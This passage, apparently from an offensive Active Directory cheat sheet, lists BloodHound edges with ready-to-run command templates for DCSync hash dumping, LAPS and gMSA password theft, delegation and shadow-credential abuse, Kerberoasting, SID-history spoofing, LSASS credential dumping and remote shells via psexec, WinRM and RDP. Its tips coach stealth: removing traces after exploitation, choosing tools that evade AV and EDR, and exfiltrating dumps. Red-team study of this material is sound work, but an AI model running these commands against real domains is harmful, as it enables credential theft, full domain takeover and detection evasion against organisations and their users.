Grants all extended rights. On Domain=DCSync, User=ForceChangePassword, Computer=LAPS read. Context-dependent escalation.
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
LAPSDumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
Get-LapsADPassword -Identity {TARGET_COMPUTER} -AsPlainText
SharpLAPS.exe /target:{TARGET_COMPUTER}
TIPS & OPSEC
- Domain target: AllExtendedRights = DCSync. Immediate full domain compromise.
- Computer target: AllExtendedRights = LAPS read. Get local admin password.
- User target: AllExtendedRights = ForceChangePassword. Reset and login.
COMMON ERRORS & FIXES
bloodyAD add dcsync {USERNAME}CHAIN THIS ATTACK
AllExtendedRights → context-specific exploit → domain compromise
Common chains:
- Domain → DCSync → krbtgt → Golden Ticket
- Computer → LAPS → local admin → credential dump
- User → password reset → login → lateral movement
DCSync - Domain Hash Replication
Replicate password hashes from Domain Controller via MS-DRSR. Requires both DS-Replication-Get-Changes AND DS-Replication-Get-Changes-All.
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
secretsdump.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --ntds
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
export KRB5CCNAME={TICKET_FILE} secretsdump.py -k -no-pass '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
SharpKatz.exe --Command dcsync --Domain {DOMAIN} --DC {DC_IP}
Invoke-DCSync -Domain {DOMAIN} -DC {DC_IP}
TIPS & OPSEC
- Event 4662: Directory service access with GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2. Heavily monitored.
- -just-dc: Only dumps NTDS.dit hashes. Use
-just-dc-ntlmfor NTLM only (faster). - Specific user: Use
-just-dc-user {TARGET_USER}to avoid dumping entire domain. - KRBTGT: Golden ticket material. Change twice to invalidate existing golden tickets.
COMMON ERRORS & FIXES
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}CHAIN THIS ATTACK
DCSync → Extract hashes → Pass-the-Hash / crack → compromise
Common chains:
- DCSync all → hashcat → crack offline → login as DA
- DCSync krbtgt → ticketer.py → Golden Ticket → full domain
- DCSync specific user → targeted compromise
ReadLAPSPassword - LAPS Dump
Read the local administrator password stored by LAPS. Legacy: ms-Mcs-AdmPwd. Modern Windows LAPS: msLAPS-Password.
LAPSDumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get laps {TARGET_COMPUTER}
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(cn={TARGET_COMPUTER})' ms-Mcs-AdmPwd msLAPS-Password
Get-LapsADPassword -Identity {TARGET_COMPUTER} -AsPlainText
Get-DomainComputer -Identity {TARGET_COMPUTER} -Properties ms-Mcs-AdmPwd -Credential $cred
# Open LAPS UI, search computer, read password.
SharpLAPS.exe /target:{TARGET_COMPUTER}
TIPS & OPSEC
- Legacy vs Modern: Legacy LAPS uses ms-Mcs-AdmPwd. Windows LAPS uses msLAPS-Password.
- Check both: If one attribute is empty, try the other.
- Password rotation: LAPS passwords rotate automatically. Use immediately after reading.
- OPSEC: Reading LAPS is logged. Use during authorized testing windows.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Read LAPS → local admin password → login → credential dump
Common chains:
- LAPS → xfreerdp3 / mstsc → local admin → mimikatz
- LAPS → psexec.py → SYSTEM shell → domain enumeration
ReadGMSAPassword - gMSA Dump
Read Group Managed Service Account password. Requires KDS root key to decrypt. Get KDS key via DCSync first.
gMSADumper -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} --dc-ip {DC_IP}
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get attribute {TARGET} msDS-ManagedPassword
Get-ADServiceAccount -Identity {TARGET} -Properties msDS-ManagedPassword -Credential $cred
$blob = Get-ADServiceAccount -Identity {TARGET} -Properties msDS-ManagedPassword
ConvertFrom-ADManagedPasswordBlob -Blob $blob.msDS-ManagedPassword
TIPS & OPSEC
- KDS root key: Required to decrypt gMSA password. DCSync the KDS object first.
- Scope: gMSA passwords are valid for 30 days by default. Can be reused.
- OPSEC: Reading gMSA attributes is less monitored than DCSync.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Read gMSA → decrypt with KDS key → login as service account → escalate
Common chains:
- gMSA password → service account compromise → SPN abuse → Kerberoast
DumpSMSAPassword - sMSA Dump
Dump standalone Managed Service Account password. Requires local admin on host where sMSA is installed.
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} -sam -lsa
sekurlsa::logonpasswords lsadump::secrets
sekurlsa::logonpasswords lsadump::secrets
SafetyKatz.exe "sekurlsa::logonpasswords"
TIPS & OPSEC
- Requires local admin: Must compromise the host where sMSA is installed first.
- LSASS dump: sMSA passwords may be in LSASS. Use mimikatz or procdump + offline analysis.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Local admin → LSASS dump → sMSA password → service compromise
Common chains:
- sMSA → service account → Kerberoast / lateral movement
SyncLAPSPassword - Domain-Wide LAPS
Windows LAPS domain-wide replication synchronization. Can read all LAPS passwords across domain.
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc -custom-filter 'msLAPS-Password'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get laps --all
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all /filter:msLAPS-Password
TIPS & OPSEC
- Domain-wide: SyncLAPSPassword grants read access to ALL LAPS passwords in domain.
- Equivalent to: AllExtendedRights on every computer with LAPS.
- OPSEC: Very high visibility. Use targeted reads when possible.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
SyncLAPSPassword → dump all LAPS → mass local admin compromise
Common chains:
- Dump all LAPS → xfreerdp3 to all computers → domain-wide compromise
AllowedToDelegate - Constrained Delegation (S4U2Proxy)
Target account is allowed to delegate to specific SPNs. Abuse with S4U2Proxy to impersonate users.
getST.py -spn cifs/{TARGET_COMPUTER}.{DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
kekeo.exe "tgt::ask /user:{USERNAME} /domain:{DOMAIN} /dc:{DC_IP} /password:{PASSWORD}" kekeo.exe "tgs::s4u /tgt:TGT.kirbi /user:Administrator@{DOMAIN} /service:cifs/{TARGET_COMPUTER}.{DOMAIN}"
Rubeus.exe s4u /user:{USERNAME} /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/{TARGET_COMPUTER}.{DOMAIN} /domain:{DOMAIN} /dc:{DC_IP} /ptt
kekeo.exe "tgt::ask /user:{USERNAME} /domain:{DOMAIN} /dc:{DC_IP} /password:{PASSWORD}"
TIPS & OPSEC
- S4U2Proxy: Requires a valid TGT for the delegating account first.
- Allowed SPNs: Check msDS-AllowedToDelegateTo for exact services allowed.
- Protocol transition: If 'Use any authentication protocol' is set, S4U2Self works without Kerberos pre-auth.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AllowedToDelegate → S4U → impersonate admin → service access
Common chains:
- S4U2Proxy → getST.py → psexec.py -k → SYSTEM
- Constrained delegation → cifs service → file system access
AllowedToAct - RBCD Already Configured
The target computer already has an attacker-controlled principal in msDS-AllowedToActOnBehalfOfOtherIdentity. Immediate S4U attack with no setup required.
getST.py -spn cifs/{TARGET_COMPUTER}.{DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/{CONTROLLED_COMPUTER}$:{PASSWORD}' -k -no-pass
export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass '{DOMAIN}/Administrator@{TARGET_COMPUTER}.{DOMAIN}'
export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass '{DOMAIN}/Administrator@{TARGET_COMPUTER}.{DOMAIN}'
Rubeus.exe s4u /user:{CONTROLLED_COMPUTER}$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/{TARGET_COMPUTER}.{DOMAIN} /domain:{DOMAIN} /dc:{DC_IP} /ptt
Rubeus.exe asktgs /user:Administrator /ticket:Administrator.kirbi /service:cifs/{TARGET_COMPUTER}.{DOMAIN} /ptt
TIPS & OPSEC
- No setup: RBCD is already configured. Just run S4U directly.
- Computer password: If you don't know the controlled computer's password, reset it first.
- KRB_AP_ERR_BAD_INTEGRITY: Usually wrong computer password. Reset and retry.
- OPSEC: S4U requests are less noisy than password resets.
COMMON ERRORS & FIXES
bloodyAD get attribute {TARGET_COMPUTER} msDS-AllowedToActOnBehalfOfOtherIdentityCHAIN THIS ATTACK
AllowedToAct → S4U → impersonate admin → SYSTEM shell
Common chains:
- AllowedToAct → getST.py → psexec.py -k → SYSTEM
- AllowedToAct → Rubeus s4u → DCSync from target
WriteAccountRestrictions - RBCD Setup
Write msDS-AllowedToActOnBehalfOfOtherIdentity or userAccountControl. Used to set up RBCD or change delegation flags.
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f TRUSTED_TO_AUTH_FOR_DELEGATION {TARGET_USER}
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} change_uac {TARGET_COMPUTER}
addcomputer.py -computer-name 'HELPER$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
TIPS & OPSEC
- MachineAccountQuota: If 0, cannot create helper computer. Use existing controlled computer.
- Pre-created computers: Reset password on pre-created computer if you don't control any.
- Cleanup: Remove msDS-AllowedToAct after exploitation to reduce detection.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
WriteAccountRestrictions → RBCD → S4U → admin access
Common chains:
- RBCD setup → getST.py → psexec.py → SYSTEM
- RBCD setup → Rubeus s4u → DCSync
WriteSPN - SPN Jacking
Add or remove Service Principal Names on user or computer accounts. Add fake SPN then Kerberoast it.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433' # Cleanup: bloodyAD remove spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433'
SetSPN.py -U '{DOMAIN}/{USERNAME}:{PASSWORD}' -S 'MSSQLSvc/{DC_FQDN}:1433' {TARGET_USER}
targetedKerberoast.py -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --dc-ip {DC_IP} -v --request-user {TARGET_USER}
GetUserSPNs.py -dc-ip {DC_IP} -request -outputfile {TARGET_USER}.kirb {DOMAIN}/{USERNAME}:{PASSWORD}
Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred # Cleanup: Set-DomainObject -Identity {TARGET_USER} -Remove @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
setspn.exe -A MSSQLSvc/{DC_FQDN}:1433 {TARGET_USER}
Rubeus.exe kerberoast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.kirb
TIPS & OPSEC
- Cleanup: Always remove added SPN after Kerberoasting to avoid detection.
- Event 4742: Computer account SPN changes logged. User SPN changes less monitored.
- TargetedKerberoast: Automates SPN addition + Kerberoasting + cleanup in one command.
- OPSEC: Adding SPN to high-value accounts may trigger alerts. Use during business hours.
COMMON ERRORS & FIXES
bloodyAD get acl {TARGET_USER}. Try GenericWrite or WriteDacl instead.CHAIN THIS ATTACK
WriteSPN → add fake SPN → Kerberoast → crack hash → login
Common chains:
- Add SPN → GetUserSPNs.py → hashcat → lateral movement
- targetedKerberoast.py → automated SPN jack + roast
AddKeyCredentialLink - Shadow Credentials
Add a KeyCredentialLink (msDS-KeyCredentialLink) to user or computer. Authenticate via PKINIT and extract NTLM hash.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET}
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET} --action add
certipy shadow auto -username {USERNAME}@{DOMAIN} -password '{PASSWORD}' -target {DC_IP} -account {TARGET}
gettgtpkinit.py -cert-pfx {TARGET}.pfx -pfx-pass {PASSWORD} {DOMAIN}/{TARGET} {TARGET}.ccache getnthash.py -key {AES_KEY} {DOMAIN}/{TARGET}
Whisker.exe add /target:{TARGET} /domain:{DOMAIN} /dc:{DC_IP}
$key = New-ADKeyCredential -AccountName {TARGET} -Domain {DOMAIN} Add-ADKeyCredential -AccountName {TARGET} -KeyCredential $key
TIPS & OPSEC
- Cleanup: Remove shadow credential after use:
pywhisker --action remove -device-id IDorWhisker.exe remove. - PKINIT not supported: If KDC_ERR_PADATA_TYPE_NOSUPP, use password reset instead.
- OPSEC: Shadow credentials create minimal logs (5136 only). Excellent stealth option.
- NTLM extraction: getnthash.py requires the AES key from the shadow credential creation.
COMMON ERRORS & FIXES
bloodyAD get acl {TARGET}. May need WriteDacl or GenericAll.CHAIN THIS ATTACK
Shadow Credentials → PKINIT → TGT → getnthash → NTLM hash → Pass-the-Hash
Common chains:
- Shadow Creds → gettgtpkinit.py → getnthash.py → psexec.py -hashes
- Shadow Creds → certipy shadow auto → certipy auth → DA access
AddAllowedToAct - RBCD Configuration
Same as WriteAccountRestrictions for RBCD setup. Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure delegation.
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
TIPS & OPSEC
- Cross-reference: See WriteAccountRestrictions for full RBCD chain details.
- MachineAccountQuota: Check before creating helper computer.
- Cleanup: Remove msDS-AllowedToAct after exploitation.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AddAllowedToAct → RBCD → S4U → admin access
Common chains:
- RBCD → getST.py → psexec.py → SYSTEM
- RBCD → Rubeus s4u → DCSync
AddMember - Group Membership
Add any user to the target group. Unlike AddSelf, can add arbitrary users.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {TARGET_USER}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {TARGET_USER}
net rpc group addmem '{TARGET_GROUP}' {TARGET_USER} -U {DOMAIN}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
Add-ADGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
net group '{TARGET_GROUP}' {TARGET_USER} /add /domain
TIPS & OPSEC
- Event 4728/4732: Member added to security-enabled group. High visibility.
- SDProp: Protected groups revert every 60 min. Plan accordingly.
- Group scope: Universal groups are forest-wide. Domain local groups are domain-wide.
COMMON ERRORS & FIXES
bloodyAD get membership {TARGET_USER}CHAIN THIS ATTACK
AddMember → privileged group → inherit rights → escalate
Common chains:
- Add user to 'Domain Admins' → immediate domain admin
- Add user to 'DNS Admins' → DLL injection → SYSTEM on DC
AddSelf - Add Yourself to Group
Add your own account to the target group. Immediate privilege escalation if group is privileged.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {USERNAME}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {USERNAME}
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {USERNAME} -Credential $cred
net group '{TARGET_GROUP}' {USERNAME} /add /domain
TIPS & OPSEC
- Same as AddMember: But only for yourself. Same event IDs logged.
- OPSEC: Adding yourself to Domain Admins is extremely obvious. Use nested groups if possible.
- Cleanup: Remove yourself after exploitation.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AddSelf → privileged group → domain compromise
Common chains:
- Add self to 'Account Operators' → GenericAll on users → ForceChangePassword
- Add self to 'Backup Operators' → SeBackupPrivilege → SAM dump
ClaimSpecialIdentity - Special Identity Abuse
Rare edge. Modify special identities like Authenticated Users. Requires custom DACL manipulation.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{TARGET}' ...
Set-DomainObject -Identity {TARGET} -Set @{...} -Credential $cred
TIPS & OPSEC
- Rare: Very uncommon in production environments.
- Requires: Deep understanding of special identity SIDs and their impact.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Modify special identity → broad access → escalation
Common chains:
- Rarely encountered in practice
Property / Computer
Property / Computer attack paths and exploitation techniques.
HasSIDHistory - Inherited Privileges
User or group has a privileged SID in sIDHistory. Already effective if the SID is from a privileged group.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get attribute {TARGET_USER} sIDHistory
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(samAccountName={TARGET_USER})' sIDHistory
Get-DomainUser -Identity {TARGET_USER} -Properties sIDHistory -Credential $cred
Get-ADUser -Identity {TARGET_USER} -Properties sIDHistory -Credential $cred
TIPS & OPSEC
- Verify: Check if sIDHistory contains a Domain Admins or Enterprise Admins SID.
- Cross-domain: sIDHistory is often used in migrations. May grant cross-domain privileges.
- Exploitation: If sIDHistory contains a privileged SID, the account ALREADY has those privileges.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
HasSIDHistory → verify privileged SID → use inherited rights → escalate
Common chains:
- sIDHistory contains DA SID → account is effectively Domain Admin
SpoofSIDHistory - Cross-Forest SID Abuse
Requires weak SID filtering (quarantine = No). Add arbitrary SID to sIDHistory for cross-forest privilege escalation.
mimikatz.exe "sid::add /sam:{TARGET_USER} /new:S-1-5-21-...-512"
Set-ADSIDHistory -Identity {TARGET_USER} -SID 'S-1-5-21-...-512'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} sIDHistory 'S-1-5-21-...-512'
sid::add /sam:{TARGET_USER} /new:S-1-5-21-...-512
Set-ADSIDHistory -Identity {TARGET_USER} -SID 'S-1-5-21-...-512'
TIPS & OPSEC
- Prerequisite: Weak SID filtering (quarantine = No). Verify with
netdom trust {DOMAIN} /domain:{TRUSTED} /quarantine. - Event 4765: SIDHistory modification logged. VERY high noise.
- Forest-wide: If intra-forest, any domain = Enterprise Admin automatically.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
SpoofSIDHistory → add DA SID → cross-forest domain admin
Common chains:
- Add EA SID to user → Enterprise Admin across forest
- Add DA SID from trusted domain → Domain Admin in target
HasSession - Compromise Computer → Dump LSASS
User has an active session on a computer. Compromise the computer to dump LSASS and steal credentials.
psexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
wmiexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
nxc smb {TARGET_COMPUTER} -u {ADMIN} -p '{PASS}' -M mimikatz
nxc smb {TARGET_COMPUTER} -u {ADMIN} -p '{PASS}' --sam --lsa
dploot -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -target {TARGET_COMPUTER} -m backupkey
DonPAPI.py {DOMAIN}/{USERNAME}:'{PASSWORD}'@{TARGET_COMPUTER}
sekurlsa::logonpasswords
SafetyKatz.exe "sekurlsa::logonpasswords"
pypykatz lsa minidump lsass.dmp
LaZagne.exe all
DonPAPI.py {DOMAIN}/{USERNAME}:'{PASSWORD}'@{TARGET_COMPUTER}
TIPS & OPSEC
- EDR: EDR triggers on LSASS dump. Use procdump.exe + offline analysis if EDR present.
- OPSEC: Remote LSASS dump is very noisy. Prefer local dump + exfiltration.
- DPAPI: DonPAPI and dploot extract DPAPI secrets without touching LSASS directly.
- Credential Guard: LSASS dump may return encrypted creds if Credential Guard is active.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
HasSession → admin on computer → LSASS dump → credentials → escalate
Common chains:
- psexec.py → mimikatz → Domain Admin creds
- wmiexec.py → SharpKatz → pass-the-hash
- DonPAPI → DPAPI secrets → browser creds → cloud access
HasTrustKeys - Trust Account Compromise
Compromise trust account NT hash. Can forge inter-realm TGTs for cross-domain access.
ticketer.py -nthash TRUST_HASH -domain-sid {SOURCE_SID} -domain {DOMAIN} -spn krbtgt/{PARENT_DOMAIN} golden_tist.kirbi
raiseChild.py '{CHILD_DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP}
getST.py -spn cifs/{TARGET_COMPUTER}.{PARENT_DOMAIN} -impersonate Administrator -dc-ip {DC_IP} '{DOMAIN}/TRUST_ACCOUNT$' -hashes :TRUST_HASH
lsadump::trust /patch
Rubeus.exe golden /rc4:TRUST_HASH /user:Administrator /domain:{DOMAIN} /sid:{SOURCE_SID} /sids:{TARGET_SID} /service:krbtgt /target:{PARENT_DOMAIN} /ticket:golden.kirbi
TIPS & OPSEC
- Trust account hash: Found in LSASS of domain controllers. DCSync or DC compromise required.
- Child-to-parent: raiseChild.py automates full child-to-parent domain escalation.
- Intra-forest: Any domain in forest = Enterprise Admin via shared krbtgt history.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
HasTrustKeys → forge inter-realm TGT → Enterprise Admin
Common chains:
- ticketer.py → inter-realm TGT → psexec.py to parent DC
- raiseChild.py → full child-to-parent escalation
Group Edges
Group Edges attack paths and exploitation techniques.
MemberOf - Group Membership Analysis
User is member of group. Enumerate group memberships to find privilege escalation paths.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get membership {TARGET_USER}
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN_DN}' '(member={TARGET_USER})' dn
Get-DomainGroupMember -Identity {TARGET_GROUP} -Credential $cred
Get-ADGroupMember -Identity {TARGET_GROUP} -Credential $cred
TIPS & OPSEC
- Nested groups: BloodHound resolves nested group memberships. Manual tools may not.
- Primary Group: Check primaryGroupID attribute. Default is 513 (Domain Users).
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
MemberOf → identify privileged groups → exploit group rights → escalate
Common chains:
- MemberOf 'DNS Admins' → DLL injection → SYSTEM on DC
Contains - Container Enumeration
Object is contained within a container or OU. Recon edge for AD structure mapping.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get children {OU_DN}
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -s one -b '{OU_DN}'
Get-DomainObject -SearchBase '{OU_DN}' -SearchScope OneLevel -Credential $cred
TIPS & OPSEC
- Container vs OU: OUs can have GPOs linked. Containers cannot.
- Deep enumeration: Use recursive search for full subtree enumeration.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Contains → enumerate children → find abuse targets → escalate
Common chains:
- Find privileged users in OU → targeted exploitation
Computer Edges
Computer Edges attack paths and exploitation techniques.
AdminTo - Local Administrator
You are a local administrator on the target computer. Full control over the system.
psexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
wmiexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
smbexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
dcomexec.py -object MMC20 '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
atexec.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} 'whoami'
evil-winrm-py -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
evil-winrm -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
psexec.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{TARGET_COMPUTER}
export KRB5CCNAME={TICKET_FILE} psexec.py -k -no-pass '{DOMAIN}/{USERNAME}'@{TARGET_COMPUTER}
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential $cred
psexec.exe \\{TARGET_COMPUTER} -u {DOMAIN}\{USERNAME} -p '{PASSWORD}' cmd.exe
wmic /node:{TARGET_COMPUTER} /user:{DOMAIN}\{USERNAME} /password:'{PASSWORD}' process call create "cmd.exe /c whoami"
winrs.exe /r:{TARGET_COMPUTER} /u:{DOMAIN}\{USERNAME} /p:'{PASSWORD}' cmd.exe
TIPS & OPSEC
- Prefer wmiexec.py: Semi-interactive, less noisy than psexec.py.
- smbexec.py: No file drop on disk. Good for AV evasion.
- dcomexec.py: Uses DCOM, bypasses many AV/EDR products.
- evil-winrm-py: Best WinRM client. Supports SSL, Kerberos, PtH, and in-memory execution.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
AdminTo → SYSTEM shell → credential dump → domain compromise
Common chains:
- psexec.py → mimikatz → krbtgt hash → Golden Ticket
- wmiexec.py → Seatbelt / WinPEAS → privesc → SYSTEM
- evil-winrm-py → in-memory SharpHound → BloodHound analysis
CanPSRemote - WinRM Access
Can connect via PowerShell Remoting / WinRM. Uses ports 5985 (HTTP) and 5986 (HTTPS).
evil-winrm-py -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
evil-winrm-py -H {NTLM_HASH} -i {TARGET_COMPUTER}
evil-winrm-py -k --no-pass -u {USERNAME} -i {TARGET_COMPUTER}
evil-winrm-py --ssl -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
nxc winrm {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' -X whoami
evil-winrm -u {USERNAME} -p '{PASSWORD}' -i {TARGET_COMPUTER}
Enter-PSSession -ComputerName {TARGET_COMPUTER} -Credential $cred
Invoke-Command -ComputerName {TARGET_COMPUTER} -ScriptBlock { whoami } -Credential $cred
winrs.exe /r:{TARGET_COMPUTER} /u:{DOMAIN}\{USERNAME} /p:'{PASSWORD}' cmd.exe
TIPS & OPSEC
- Port 5985/5986: Verify WinRM is listening:
nmap -p5985,5986 {TARGET_COMPUTER}. - evil-winrm-py: Preferred over Ruby evil-winrm. More features, better stability.
- SSL: Use --ssl for encrypted WinRM (port 5986). Required in some hardened environments.
- Kerberos: Use -k --no-pass with valid ticket for ticket-based auth.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
CanPSRemote → WinRM shell → enumeration → privilege escalation
Common chains:
- evil-winrm-py → Seatbelt → find privesc path → SYSTEM
- Invoke-Command → run mimikatz remotely → credential dump
CanRDP - Remote Desktop
Can connect via RDP. Logon Type 10. High visibility but direct interactive access.
xfreerdp3 /v:{TARGET_COMPUTER} /u:{USERNAME} /p:'{PASSWORD}' /cert:ignore /dynamic-resolution
xfreerdp3 /v:{TARGET_COMPUTER} /u:{USERNAME} /p:'{PASSWORD}' /cert:ignore +clipboard +drive:shared,/tmp/share
rdesktop -u {USERNAME} -p '{PASSWORD}' {TARGET_COMPUTER}
remmina -c rdp://{USERNAME}@{TARGET_COMPUTER}
nxc rdp {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}'
nxc rdp {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' --screenshot
mstsc.exe /v:{TARGET_COMPUTER}
# Open RDCMan, add server, connect with credentials.
TIPS & OPSEC
- Event 4624 (Logon Type 10): RDP logons are highly visible. Use during business hours.
- Clipboard: xfreerdp3 +clipboard allows copy-paste between attacker and target.
- Drive redirection: +drive:shared,/tmp/share mounts attacker folder on target.
- OPSEC: RDP leaves strong forensic evidence. Prefer WinRM or WMI when possible.
